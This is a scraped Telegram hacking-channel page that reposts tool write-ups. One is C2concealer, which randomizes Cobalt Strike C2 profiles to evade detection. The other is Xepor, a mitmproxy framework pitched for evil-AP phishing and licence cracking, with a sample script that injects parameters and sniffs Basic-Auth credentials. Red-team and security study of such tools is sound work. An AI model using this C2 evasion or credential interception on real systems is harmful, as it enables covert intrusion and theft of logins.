Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Access control worth $2000 (everyone missed this IDOR+Access control between two admins.)

Tribute to Binit GhimireContinue reading on Pentester Nepal »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
C2concealer : Command Line Tool That Generates Randomized C2 Malleable Profiles For Use In Cobalt Strike

C2concealer is a command line tool that generates randomized C2 malleable profiles for use in Cobalt Strike. Installationchmod u+x install.sh
./install.sh Building Docker Imagedocker build -t C2concealer . Running with Dockerdocker container run -it -v Example UsageUsage:
$ C2concealer –hostname google.com –variant 3
Flags:
(optional)
–hostname
The hostname used in HTTP client and server side settings. Default is None.
–variant
An integer defining the number of HTTP client/server variants to generate.
Recommend between 1 and 5. Max 10. Example Console Outputroot@kali:~# C2concealer –variant 1 –hostname google.com
[i] Searching for the c2lint tool on your system (part of Cobalt Strike). Might take 10-20 seconds.
[i] Found c2lint in the /opt/cobaltstrike/c2lint directory.
Choose an SSL option:
Self-signed SSL cert (just input a few details)
LetsEncrypt SSL cert (requies a temporary A record for the relevant domain to be pointed to this machine)
Existing keystore
No SSL
[?] Option [1/2/3/4]: How It WorksWe poured over the Cobalt Strike documentation and defined ranges of values that would make sense for each profile attribute. Sometimes that data is as simple as a random integer within some range and other times we need to pick a random value from a python dictionary. Either way, we started tool creation with defining the data that would make a valid profile.

Then we divided each malleable profile section (or block) into a separate .py file, which contains the logic to draw random appropriate values for each attribute and then output a formatted string for that profile block. We concatenate all profile blocks together, run a few quick consistency checks and then run the profile through the Cobalt Strike linter (c2lint). The output is a profile that should work for your engagements. We always recommend testing the profile (including process injection and spawning) prior to running a campaign.

If you’re looking into the code, we recommend starting with these two files: /C2concealer/main.py and /C2concealer/profile.py. After reviewing the comments, check out individuals profile block generators in the folder: /C2concealer/components. Customizing the toolThis is crucial. This is an open sourced version of a tool we’ve been using privately for about a year. Our private repo has several additional IOCs and a completely different data set. While running the tool provides an excellent start for building a Cobalt Strike malleable profile, we recommend digging into the following areas to customize the data that is randomly populating the tool:

/C2concealer/data/

* dns.py (customize the dns subdomains)
* file_type_prepend.py (customize how http-get-server repsonses look … aka c2 control instructions)
* params.py (two dictionaries containing common parameter names and a generic wordlist)
* post_ex.py (spawn_to process list…definitely change this one)
* reg_headers.py (typical http headers like user-agent and server)
* smb.py (smb pipenames for use when comms go over smb)
* stage.py (data for changing IOCs related to the stager)
* transform.py (payload data transformations…no need to change this)
* urls.py (filetypes and url path components used for building URIs all across the tool…definitely change this)

In addition, you can customize various attributes all throughout the profile generation process. As an example, in the file: “/C2concealer/components/stageblock.py”, you can change the range from which PE image size value is drawn from (near lines 73-74). Please look through all the different files in the components directory.

If you’ve made it this far, then we know you’ll get a lot of use out of th[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials C2concealer : Command Line Tool That Generates Randomized C2 Malleable Profiles For Use In Cobalt Strike C2concealer is a command line tool that generates randomized C2 malleable profiles for use in Cobalt Strike. Installationchmod u+x…
is tool. The way we recommend viewing this tool is that we’ve built the skeleton code to automatically generate these profiles, now it’s up to you to think through what values make sense for each attribute for your campaigns and update the data sources. Download

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Xepor : Web Routing Framework For Reverse Engineers And Security Researchers

Xepor (pronounced /ˈzɛfə/, zephyr), a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP request and/or HTTP response in a human-friendly coding style.

This project is meant to be used with mitmproxy. User write scripts with xepor, and run the script inside mitmproxy with mitmproxy -s your-script.py.

If you want to step from PoC to production, from demo(e.g. http-reply-from-proxy.pyhttp-trailers.pyhttp-stream-modify.py) to something you could take out with your WiFi Pineapple, then Xepor is for you! Features* Code everything with @api.route(), just like Flask! Write everything in one script and no if..elseany more.
* Handle multiple URL routes, even multiple hosts in one InterceptedAPIinstance.
* For each route, you can choose to modify the request before connecting to server (or even return a fake response without connection to upstream), or modify the response before forwarding to user.
* Blacklist mode or whitelist mode. Only allow URL endpoints defined in scripts to connect to upstream, blocking everything else (in specific domain) with HTTP 404. Suitable for transparent proxying.
* Human readable URL path definition and matching powered by parse
* Host remapping. define rules to redirect to genuine upstream from your fake hosts. Regex matching is supported. Best for SSL stripping and server side license cracking!
* Plus all the bests from mitmproxy! ALL operation modes ( mitmproxy/ mitmweb+ regular/ transparent/ socks5/ reverse:SPEC/ upstream:SPEC) are fully supported. Use Case* Evil AP and phishing through MITM.
* Sniffing traffic from specific device by iptables + transparent proxy, modify the payload with xepor on the fly.
* Cracking cloud based software license. See examples/krisp/ as an example.
* Write complicated web crawler in ~100 lines of codes. See examples/polyv_scrapper/ as an example.
* … and many more.

SSL stripping is NOT provided by this project. Installationpip install xepor Quick startTake the script from examples/httpbin as an example.

In this example, we setup the mitmproxy server on 127.0.0.1. You could change it to any IP on your machine or alternatively to the IP of your VPS. The mitmproxy server running in reverse, upstream and transparent mode requires --set connection_strategy=lazyoption to be set so that Xepor could function correctly. I recommand this option always be on for best stability.

Set your Browser HTTP Proxy to http://127.0.0.1:8080, and access web interface at http://127.0.0.1:8081/.

Send a GET request from http://httpbin.org/#/HTTP_Methods/get_get , Then you could see the modification made by Xepor in mitmweb interface, browser devtools or Wireshark.

The httpbin.pydo two things.

* When user access http://httpbin.org/get, inject a query string parameter payload=evil_paraminside HTTP request.
* When user access http://httpbin.org/basic-auth/xx/xx/ (we just pretends we don’t know the password), sniff Authorizationheaders from HTTP requests and print the password to the attacker.

Just what mitmproxy always do, but with code written in xepor way. https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.pyfrom mitmproxy.http import HTTPFlow
from xepor import InterceptedAPI, RouteType
HOST_HTTPBIN = “httpbin.org
api = InterceptedAPI(HOST_HTTPBIN)
@api.route(“/get”)
def change_your_request(flow: HTTPFlow):
“””
Modify URL query param.
Test at:
http://httpbin.org/#/HTTP_Methods/get_get
“””
flow.request.query[“payload”] = “evil_param”
@api.route(“/basic-auth/{usr}/{pwd}”, rtype=RouteType.RESPONSE)
def capture_auth(flow: HTTPFlow, usr=None, pwd=None):
“””
Sniffing password.
Test at:
http://httpbin.org/#/Auth/get_basic_auth__user___passwd_
“””
print(
f”auth @ {usr} + {pwd}:”,
f”Captured {‘successful’ if flow.response.status_code < 300 else ‘unsuccessful’} login:”,
flow.request.headers.get(“Authorization”, “”),
)
addons = [api] Download
Giveaway #2: The Ultimate Guide to Hunt Account Takeover(2022)

INTRODUCTIONContinue reading on Medium »
Read more...